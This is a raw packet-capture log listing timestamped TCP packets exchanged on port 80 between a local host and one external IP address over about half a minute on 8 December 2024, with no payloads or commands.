Dec 8, 2024 15:27:27.519045115 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.519068956 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.519087076 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.519093037 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.519159079 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.523191929 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.560230970 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.560381889 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.638531923 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.638540983 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.679719925 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.679799080 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.720185995 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.840265036 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.840344906 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.935864925 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.936002970 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.959625006 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055501938 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055516005 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055571079 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055579901 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055660963 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055669069 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055742979 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055792093 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055839062 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055908918 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055951118 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.055973053 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056050062 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056291103 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056299925 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056421995 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056504965 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056581974 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056651115 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056752920 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056761026 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.056853056 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.057018042 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.057197094 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.261780977 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.309932947 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:28.380140066 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.434921980 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:28.612236023 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.747561932 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:28.822221041 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:28.842046976 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:28.932205915 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.941884041 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.941962004 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:28.961355925 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:28.961416960 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:28.961730957 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:29.048115969 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:29.080945969 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:29.310036898 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:29.429550886 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:29.429562092 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:29.429569960 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:29.984031916 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:29.984481096 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.104429007 CET	80	49749	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.104497910 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.104516029 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.104617119 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.104636908 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.223833084 CET	80	49749	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.290189028 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.450773954 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.513072014 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.538415909 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.570185900 CET	80	49749	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.570198059 CET	80	49749	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.656686068 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.796426058 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.800362110 CET	49750	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.916338921 CET	80	49748	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.916387081 CET	49748	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.919996023 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:30.920053959 CET	49750	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:30.922065020 CET	49750	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:31.041544914 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:31.299752951 CET	49750	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:31.419714928 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:31.419737101 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:31.419745922 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:31.437135935 CET	80	49749	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:31.544284105 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:31.676366091 CET	80	49749	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:31.747423887 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.238776922 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:32.450548887 CET	49750	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.472199917 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:32.588093042 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.588152885 CET	49750	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.588416100 CET	49751	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.708616018 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:32.708677053 CET	80	49749	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:32.708678007 CET	49751	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.708755016 CET	49749	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.708889961 CET	49751	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.709120989 CET	80	49750	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:32.709187031 CET	49750	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:32.829425097 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:33.060019970 CET	49751	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:33.179615974 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:33.179626942 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:33.179635048 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:34.033162117 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:34.075567007 CET	49751	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:34.269157887 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:34.309921980 CET	49751	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:34.390422106 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:34.509952068 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:34.510031939 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:34.510154009 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:34.629391909 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:34.856924057 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:34.976455927 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:34.976469040 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:34.976478100 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:35.831799030 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:35.872461081 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.064136028 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.106811047 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.181247950 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.181551933 CET	49753	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.301233053 CET	80	49753	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.301326990 CET	49753	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.301444054 CET	49753	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.301532030 CET	80	49752	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.302261114 CET	49752	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.421256065 CET	80	49753	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.656260014 CET	49753	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.688575029 CET	49753	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.688577890 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.775778055 CET	80	49753	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.775788069 CET	80	49753	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.775809050 CET	80	49753	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.807945013 CET	80	49754	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.808085918 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.808207989 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.848170996 CET	80	49753	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.868927956 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.934050083 CET	80	49754	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.991997004 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:36.992054939 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:36.992156982 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:37.113848925 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:37.153835058 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:37.273298979 CET	80	49754	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:37.273308992 CET	80	49754	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:37.317292929 CET	80	49753	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:37.317373991 CET	49753	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:37.341309071 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:37.460750103 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:37.460761070 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:37.460768938 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.154244900 CET	80	49754	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.200575113 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.312613964 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.358233929 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.392328978 CET	80	49754	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.434979916 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.552542925 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.606862068 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.663780928 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.663911104 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.664132118 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.783564091 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.783675909 CET	80	49754	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.783797979 CET	49754	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.783801079 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.784037113 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.784557104 CET	80	49755	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:38.784687042 CET	49755	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:38.903271914 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:39.056021929 CET	80	49751	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:39.056090117 CET	49751	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:39.138390064 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:39.258785963 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:39.258797884 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:39.258891106 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:40.115076065 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:40.169348001 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:40.348371029 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:40.406296968 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:40.498605013 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:40.617945910 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:40.618063927 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:40.618238926 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:40.737514019 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:40.966372013 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:41.085884094 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:41.085896015 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:41.085925102 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:41.938554049 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:41.984256983 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.180918932 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:42.231839895 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.313731909 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.313941002 CET	49758	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.433202982 CET	80	49758	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:42.433336973 CET	49758	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.433418036 CET	49758	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.433681965 CET	80	49757	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:42.433746099 CET	49757	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.552680969 CET	80	49758	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:42.778847933 CET	49758	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:42.898639917 CET	80	49758	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:42.898665905 CET	80	49758	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:42.898680925 CET	80	49758	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:43.405488014 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.405714989 CET	49758	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.525314093 CET	80	49759	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:43.525373936 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.525492907 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.525842905 CET	80	49758	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:43.525892019 CET	49758	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.541476965 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.644921064 CET	80	49759	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:43.661624908 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:43.661683083 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.661802053 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.781122923 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:43.872566938 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:43.994477034 CET	80	49759	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:43.994518995 CET	80	49759	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:44.013179064 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:44.133511066 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:44.133543968 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:44.133574963 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:44.864912987 CET	80	49759	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:44.919349909 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:44.988032103 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.028722048 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.100759983 CET	80	49759	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.153747082 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.224329948 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.261821985 CET	80	49756	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.261899948 CET	49756	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.278753042 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.336155891 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.336417913 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.336424112 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.455760002 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.455826998 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.455923080 CET	80	49759	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.455959082 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.456011057 CET	49759	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.456481934 CET	80	49760	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.456530094 CET	49760	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.575206995 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.810146093 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:45.929527044 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.929541111 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:45.929559946 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:46.871999979 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:46.919348001 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:47.104183912 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:47.153734922 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:47.228249073 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:47.348031998 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:47.348099947 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:47.348248005 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:47.467865944 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:47.700836897 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:47.820350885 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:47.820426941 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:47.820498943 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:48.672621965 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:48.716341019 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:48.912297010 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:48.966245890 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:49.024594069 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:49.024878025 CET	49763	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:49.144382954 CET	80	49763	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:49.144495964 CET	49763	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:49.144524097 CET	80	49762	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:49.144603014 CET	49763	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:49.144623995 CET	49762	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:49.264956951 CET	80	49763	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:49.497684956 CET	49763	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:49.617566109 CET	80	49763	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:49.617578030 CET	80	49763	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:49.617652893 CET	80	49763	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.107650042 CET	49763	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.107706070 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.227216959 CET	80	49764	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.227276087 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.227385044 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.227576971 CET	80	49763	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.227631092 CET	49763	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.228408098 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.346777916 CET	80	49764	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.347910881 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.347995996 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.348189116 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.472398043 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.576031923 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.695512056 CET	80	49764	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.695600033 CET	80	49764	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.700922012 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:50.820424080 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.820450068 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:50.820492983 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:51.552993059 CET	80	49764	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:51.606956005 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:51.685236931 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:51.731897116 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:51.788412094 CET	80	49764	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:51.841324091 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:51.894381046 CET	80	49761	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:51.894570112 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:51.920366049 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:51.966242075 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.040384054 CET	49761	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.040504932 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.040508032 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.040792942 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.160079956 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:52.160165071 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.160321951 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.160731077 CET	80	49765	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:52.160773039 CET	80	49764	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:52.160789967 CET	49765	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.160809040 CET	49764	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.279787064 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:52.513241053 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:52.633934021 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:52.633944988 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:52.633953094 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:53.484991074 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:53.528748035 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:53.720293045 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:53.763155937 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:53.876612902 CET	49767	80	192.168.2.4	185.246.67.73
